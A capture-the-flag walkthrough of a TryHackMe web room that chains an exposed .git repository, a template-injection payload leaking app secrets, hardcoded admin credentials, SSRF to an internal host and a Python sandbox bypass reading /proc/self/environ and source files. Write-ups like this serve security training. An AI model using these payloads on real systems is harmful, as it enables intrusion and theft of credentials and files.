> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/love-at-first-breach-2026-advanced-track/chains-of-love.md).

# Chains of Love

{% embed url="<https://tryhackme.com/room/lafbctf2026-advanced?taskNo=5&sharerId=60ac3149c3569700531794d7>" %}

***

## Scenario

> My Dearest Hacker,
>
> NovaDev Solutions is a software development house known for building secure enterprise platforms for clients across multiple countries and industries. Recently, NovaDev Solutions rolled out a new customer interaction feature on their website to improve communication between clients and developers.
>
> Shortly after deployment, NovaDev began experiencing unusual traffic patterns and minor service disruptions. Internal developers suspect that something in the latest udpate may have exposed more than intended.

## Summary

<details>

<summary>Summary</summary>

In Chains of Love we begin by enumerating a web server hosting `nova.thm`, where initial inspection reveals a seemingly static site with a contact form. Further virtual host fuzzing uncovers `internal.nova.thm`, and directory enumeration exposes a publicly accessible `.git` repository. Dumping the repository reveals a recently introduced `preview_feature.py`, confirming a Server-Side Template Injection (SSTI) vulnerability within the contact form. Exploiting this SSTI allows us to leak sensitive configuration data, including internal service endpoints and application secrets.

A second round of enumeration exposes `app.py`, revealing hardcoded admin credentials and confirming that session handling relies on JWT. Using the discovered credentials, we access the `/admin` panel, which provides a fetch functionality vulnerable to SSRF. Leveraging this, we pivot to `internal.nova.thm`, where we encounter a restricted Python sandbox. Although numeric input is filtered, we bypass limitations using Python expressions to read local files directly via `list(open())`.&#x20;

</details>

## Recon

We use rustscan `-b 500 -a 10.81.131.2026 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

We identify port `80` to be open and serving a website.

```
rustscan -b 500 -a 10.80.143.238 -- -sC -sV -Pn
```

<figure><img src="/files/UHUfeLymfQXusVQkaUAT" alt=""><figcaption></figcaption></figure>

From our Nmap scan result we can see that we the page redirects to `http://nova.thm`.

<figure><img src="/files/o65TMyRPivvRMYyTLwgA" alt=""><figcaption></figcaption></figure>

The site seems to be just a static one at first glance.  We have a contact form, that after submission reflects the content provided.

<figure><img src="/files/YW4CTTMgkqwAFPOAtXd9" alt=""><figcaption></figcaption></figure>

We test for SSTI, but without success for now.

<figure><img src="/files/YkskNvzUATpTKLEYQle4" alt=""><figcaption></figcaption></figure>

We enumerate further VHosts and identify `internal.nova.thm`, which resolves to a 403 Status error code. We are not authorized.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.nova.thm" -u http://nova.thm -fw 6
```

{% endcode %}

<figure><img src="/files/RT3hjKDLCHd6sZVdlj4H" alt=""><figcaption></figcaption></figure>

Next, we enumerate directories using the dirb common.txt and are able to identify a `.git` folder. We might be able to dump it.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://nova.thm'
```

{% endcode %}

<figure><img src="/files/yNbQEjCJgfukgUPrP6ax" alt=""><figcaption></figcaption></figure>

## Git Dump

We use `gitdumper.sh` to dump the repository.

<figure><img src="/files/G8FTHnBGORj0W3DpO5FD" alt=""><figcaption></figcaption></figure>

We inspect the log and are able to identify one commit that added the `preview_feature.py`. Revealing a SSTI on the contact form only allowing `{{confg}}`.

```
git --no-pager log --all
```

```
git --no-pager show 03452acf3aabd09029793e690276889bd8af9166
```

<figure><img src="/files/32Zr2GjXhu0OsY8tmU6l" alt=""><figcaption></figcaption></figure>

## SSTI

We test for the SSTI...

<figure><img src="/files/At5l07MHileH1nBqtpJI" alt=""><figcaption></figcaption></figure>

... and are able to identify some environment variables, including a secret, to craft a session token. This would allow us to authenticate to the admin panel, but unfortunately we do not know the structure of the session token and if it is either a JWT or Flask session token.

<figure><img src="/files/gXK3xe3EAYaTdLeG3uPr" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'ENV': 'production', 'VERSION': '2.3.1', 'DATABASE_URL': 'postgresql://app_user:********@db.internal:5432/novadev', 'REDIS_HOST': 'redis.internal', 'ADMIN_SECRET': 'cc441eabd3ffb9fd211155ca37e1bdeff208f0a428d1913bb9e35759693de565'}>
```

{% endcode %}

## Recon II - Access as nova\_admin\_

Since run another directory scan, with common extensions like .py and are able to spot the `app.py`, revealing the entire source of the web app.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://nova.thm' -x py
```

{% endcode %}

<figure><img src="/files/4JoIod0ZMANNPRwKEEYe" alt=""><figcaption></figcaption></figure>

Here we are abe to spot the Admin credentials and the structure of the cookie. Its a JWT session cookie.

<figure><img src="/files/Md4CdvIXLzegbGFfwSTV" alt=""><figcaption></figcaption></figure>

We head to the `/admin/login`...

<figure><img src="/files/G9H6hlMBiujr1RQ0Bj8a" alt=""><figcaption></figcaption></figure>

... and use the credentials found in the source.

<figure><img src="/files/FkmoEhv3nuyyAkopYPV7" alt=""><figcaption></figcaption></figure>

## SSRF

We are able to log in and have the admin panel infront of us.

<figure><img src="/files/piJ6kR1bVBw6wQm4gYOy" alt=""><figcaption></figcaption></figure>

We can run a fetch command. We give it a try with the internal service we identified with our VHOSTs scan.&#x20;

```
http://internal.nova.thm
```

<figure><img src="/files/VNlTH6NHxqtecI50vmLc" alt=""><figcaption></figcaption></figure>

We see we get redirected and have a Python Sandbox infornt of us with example code.&#x20;

<figure><img src="/files/dPqIIMYHPtDEpH7XwP9i" alt=""><figcaption></figcaption></figure>

If we click run, we see we get redirected back to our initial page with an additional parameter `code=1%2B1` appended.

<figure><img src="/files/5ODBzgahWktCc3gNd58t" alt=""><figcaption></figcaption></figure>

We try to fetch the internal service with the parameter...

```
http://internal.nova.thm?code=1%2B1
```

<figure><img src="/files/GQsUZqKzAJRwJDkh7Q0x" alt=""><figcaption></figcaption></figure>

But get the response that digits are not allowed. Which wouldn't allow us to craft a reverse shell since we cannot define an IP or port. But there might be more hurdles then we see know, since it is a sandbox.

<figure><img src="/files/l1VjTvzL8Dbfdh7oVuSN" alt=""><figcaption></figcaption></figure>

## Python Command Execution

With `list(open())`, we try to read several files.

```
http://internal.nova.thm?code=list(open('/proc/self/environ'))
```

<figure><img src="/files/RRNv7udGGYsN0nv2VJeA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/juXgiLNSXlU2Um2WaoAn" alt=""><figcaption></figcaption></figure>

```
http://internal.nova.thm?code=list(open('/proc/self/cmdline'))
```

<figure><img src="/files/ow2LekpdfdmaLmZwx9sm" alt=""><figcaption></figcaption></figure>

```
http://internal.nova.thm?code=list(open('internal_app.py'))
```

<figure><img src="/files/0UQnvm5DdJdA52DGjoaa" alt=""><figcaption></figcaption></figure>

Ending up with the following to read the flag:

```
http://internal.nova.thm?code=list(open('flag.txt'))
```

<figure><img src="/files/DcuU0RGfI9pHmdMcLe7l" alt=""><figcaption></figcaption></figure>
